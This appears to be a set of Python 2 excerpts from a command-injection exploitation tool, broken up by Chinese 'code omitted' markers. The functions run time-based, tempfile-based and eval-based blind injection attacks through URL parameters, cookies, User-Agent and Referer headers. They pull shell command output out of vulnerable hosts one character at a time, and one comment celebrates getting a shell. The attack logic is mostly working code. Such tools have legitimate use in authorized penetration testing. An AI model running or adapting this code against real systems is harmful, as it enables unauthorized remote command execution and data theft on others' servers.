    if (previous_how_long == how_long) and (how_long >= delay):
      found_chars = True
      break

  if found_chars == True : 
    num_of_chars = output_length + 1
    check_start = 0
    check_end = 0
    check_start = time.time()
    
    output = []
    percent = 0

    # Log previous 'how_long' for later comparison
    previous_how_long = how_long

    sys.stdout.flush()
    for num_of_chars in range(1, int(num_of_chars)):
      for ascii_char in range(1, 3):
        
        if alter_shell:
          # Get the execution output, of shell execution.
          payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, delay, http_request_method)
        
        else:
          # Get the execution output, of shell execution.
          payload = tb_payloads.fp_result(separator, cmd, num_of_chars, ascii_char, delay, http_request_method)
          
        # Fix prefixes / suffixes
        payload = parameters.prefixes(payload, prefix)
        payload = parameters.suffixes(payload, suffix)

        if menu.options.base64:
          payload = base64.b64encode(payload)

        # Check if defined "--verbose" option.
        if menu.options.verbose:
          sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)

        # Check if defined cookie with "INJECT_HERE" tag
        if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
          how_long = cookie_injection_test(url, vuln_parameter, payload)

        # Check if defined user-agent with "INJECT_HERE" tag
        elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
          how_long = user_agent_injection_test(url, vuln_parameter, payload)

        # Check if defined referer with "INJECT_HERE" tag
        elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
          how_long = referer_injection_test(url, vuln_parameter, payload)

        else:    
          how_long = examine_requests(payload, vuln_parameter, http_request_method, url)

        if (previous_how_long == how_long) and (how_long >= delay):
#.........这里部分代码省略.........

def injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename):

  if menu.options.file_write or menu.options.file_upload:
    minlen = 0
  else:
    minlen = 1

  found_chars = False
  
  sys.stdout.write("(*) Retrieving the length of execution output... ")
  sys.stdout.flush()  

  for output_length in range(int(minlen), int(maxlen)):
    
    if alter_shell:
      # Execute shell commands on vulnerable host.
      payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, delay, http_request_method)
    else:
      # Execute shell commands on vulnerable host.
      payload = tb_payloads.cmd_execution(separator, cmd, output_length, delay, http_request_method)
          
    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)

    if menu.options.base64:
      payload = base64.b64encode(payload)

    # Check if defined "--verbose" option.
    if menu.options.verbose:
      sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
    
    # Check if defined cookie with "INJECT_HERE" tag
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
      how_long = cookie_injection_test(url, vuln_parameter, payload)

    # Check if defined user-agent with "INJECT_HERE" tag
    elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
      how_long = user_agent_injection_test(url, vuln_parameter, payload)

    # Check if defined referer with "INJECT_HERE" tag
    elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
      how_long = referer_injection_test(url, vuln_parameter, payload)

    else:  
      how_long = examine_requests(payload, vuln_parameter, http_request_method, url)
    
    if how_long >= delay:
      if output_length > 1:
        if menu.options.verbose:
          print "\n"
        else:
          sys.stdout.write("["+Fore.GREEN+" SUCCEED "+ Style.RESET_ALL+"]\n")
          sys.stdout.flush()
        print Style.BRIGHT + "(!) Retrieved " + str(output_length) + " characters."+ Style.RESET_ALL
        found_chars = True
      break

  if found_chars == True : 
    num_of_chars = output_length + 1
    check_start = 0
    check_end = 0
    check_start = time.time()
    
    output = []

    percent = 0
    sys.stdout.write("\r(*) Grabbing the output, please wait... [ "+str(percent)+"% ]")
    sys.stdout.flush()

    for num_of_chars in range(1, int(num_of_chars)):
      for ascii_char in range(32, 129):
        
        if alter_shell:
          # Get the execution output, of shell execution.
          payload = tb_payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, delay, http_request_method)
        else:
          # Get the execution output, of shell execution.
          payload = tb_payloads.get_char(separator, cmd, num_of_chars, ascii_char, delay, http_request_method)
          
        # Fix prefixes / suffixes
        payload = parameters.prefixes(payload, prefix)
        payload = parameters.suffixes(payload, suffix)

        if menu.options.base64:
          payload = base64.b64encode(payload)
          
        # Check if defined "--verbose" option.
        if menu.options.verbose:
          sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)

        # Check if defined cookie with "INJECT_HERE" tag
        if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
          how_long = cookie_injection_test(url, vuln_parameter, payload)

        # Check if defined user-agent with "INJECT_HERE" tag
        elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
          how_long = user_agent_injection_test(url, vuln_parameter, payload)

        # Check if defined referer with "INJECT_HERE" tag
#.........这里部分代码省略.........

def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):
 
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  is_vulnerable = False
  again_warning = True
  false_positive_warning = False
  export_injection_info = False
  how_long = 0
  how_long_statistic = 0
  injection_type = "Blind Command Injection"
  technique = "time-based injection technique"

  if menu.options.verbose:
    print settings.INFO_SIGN + "Testing the " + technique + "... "

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL
  
  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:

        # If a previous session is available.
        if settings.LOAD_SESSION and session_handler.notification(url, technique):
          cmd = shell = ""
          url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
          settings.FOUND_HOW_LONG = how_long
          settings.FOUND_DIFF = how_long - delay

        if settings.RETEST == True:
          settings.RETEST = False
          from src.core.injections.results_based.techniques.classic import cb_handler
          cb_handler.exploitation(url, delay, filename, http_request_method)

        if not settings.LOAD_SESSION:
          num_of_chars = num_of_chars + 1
          # Check for bad combination of prefix and separator
          combination = prefix + separator
          if combination in settings.JUNK_COMBINATION:
            prefix = ""
          
          # Define alter shell
          alter_shell = menu.options.alter_shell
          
          # Change TAG on every request to prevent false-positive results.
          TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
          tag_length = len(TAG) + 4
          
          for output_length in range(1, int(tag_length)):
            try:
              if alter_shell:
                # Time-based decision payload (check if host is vulnerable).
                payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
              else:
                # Time-based decision payload (check if host is vulnerable).
                payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)

              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              if menu.options.base64:
                payload = base64.b64encode(payload)

              # Check if defined "--verbose" option.
              if menu.options.verbose:
                print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace("\n", "\\n") + Style.RESET_ALL

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
#.........这里部分代码省略.........

def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):

  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  possibly_vulnerable = False
  false_positive_warning = False
  how_long_statistic = []
  export_injection_info = False
  how_long = 0
  injection_type = "semi-blind command injection"
  technique = "tempfile-based injection technique"

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    err_msg = "The '--url-reload' option is not available in " + technique + "!"
    print settings.print_critical_msg(err_msg)

  whitespace = checks.check_whitespaces()

  if settings.VERBOSITY_LEVEL >= 1:
    info_msg ="Testing the " + technique + "... "
    print settings.print_info_msg(info_msg)

  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
    
  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:

        if settings.LOAD_SESSION:
          cmd = shell = ""
          url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
          checks.check_for_stored_tamper(payload)
          settings.FOUND_HOW_LONG = how_long
          settings.FOUND_DIFF = how_long - delay
          OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
          
        else:
          num_of_chars = num_of_chars + 1
          # Check for bad combination of prefix and separator
          combination = prefix + separator
          if combination in settings.JUNK_COMBINATION:
            prefix = ""

          # Change TAG on every request to prevent false-positive resutls.
          TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))  

          # The output file for file-based injection technique.
          OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
          alter_shell = menu.options.alter_shell
          tag_length = len(TAG) + 4
          
          for output_length in range(1, int(tag_length)):
            try:
              # Tempfile-based decision payload (check if host is vulnerable).
              if alter_shell :
                payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
              else:
                payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)

              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Whitespace fixation
              payload = re.sub(" ", whitespace, payload)
              
              # Encode payload to Base64
              if settings.TAMPER_SCRIPTS['base64encode']:
                from src.core.tamper import base64encode
                payload = base64encode.encode(payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL >= 1:
                payload_msg = payload.replace("\n", "\\n")
                print settings.print_payload(payload_msg)
                  
              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
                
              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
#.........这里部分代码省略.........

def eb_injection_handler(url, delay, filename, http_request_method):
  
  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "Results-based Command Injection"
  technique = "eval-based injection technique"
  
  sys.stdout.write("(*) Testing the "+ technique + "... ")
  sys.stdout.flush()
    
  i = 0
  # Calculate all possible combinations
  total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  
  for prefix in settings.EVAL_PREFIXES:
    for suffix in settings.EVAL_SUFFIXES:
      for separator in settings.EVAL_SEPARATORS:
        i = i + 1
        
        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""

        # Change TAG on every request to prevent false-positive results.
        TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

        randv1 = random.randrange(100)
        randv2 = random.randrange(100)
        randvcalc = randv1 + randv2

        try:
          # Eval-based decision payload (check if host is vulnerable).
          payload = eb_payloads.decision(separator, TAG, randv1, randv2)
          
          # Fix prefixes / suffixes
          payload = parameters.prefixes(payload, prefix)
          payload = parameters.suffixes(payload, urllib.quote(suffix))

          payload = payload + "" + TAG + ""
          payload = re.sub(" ", "%20", payload)

          # Check if defined "--verbose" option.
          if menu.options.verbose:
            sys.stdout.write("\n" + Fore.GREY + payload + Style.RESET_ALL)

          # Cookie Injection
          if settings.COOKIE_INJECTION == True:
            # Check if target host is vulnerable to cookie injection.
            vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
            response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

          # User-Agent Injection
          elif settings.USER_AGENT_INJECTION == True:
            # Check if target host is vulnerable to user-agent injection.
            vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
            response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

          # Referer Injection
          elif settings.REFERER_INJECTION == True:
            # Check if target host is vulnerable to referer injection.
            vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
            response = eb_injector.referer_injection_test(url, vuln_parameter, payload)

          else:
            found_cookie_injection = False
            # Check if target host is vulnerable.
            response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)         
  
          # if need page reload
          if menu.options.url_reload: 
            time.sleep(delay)
            response = urllib.urlopen(url)
            
          # Evaluate test results.
          shell = eb_injector.injection_test_results(response, TAG, randvcalc)
          if not menu.options.verbose:
            percent = ((i*100)/total)
            if percent == 100:
              if no_result == True:
                percent = Fore.RED + "FAILED" + Style.RESET_ALL
              else:
                percent = str(percent)+"%"
            elif len(shell) != 0:
              percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
            else:
              percent = str(percent)+"%"
            sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
            sys.stdout.flush()
            
        except KeyboardInterrupt: 
          raise
          
        except:
          continue
        
        # Yaw, got shellz! 
        # Do some magic tricks!
#.........这里部分代码省略.........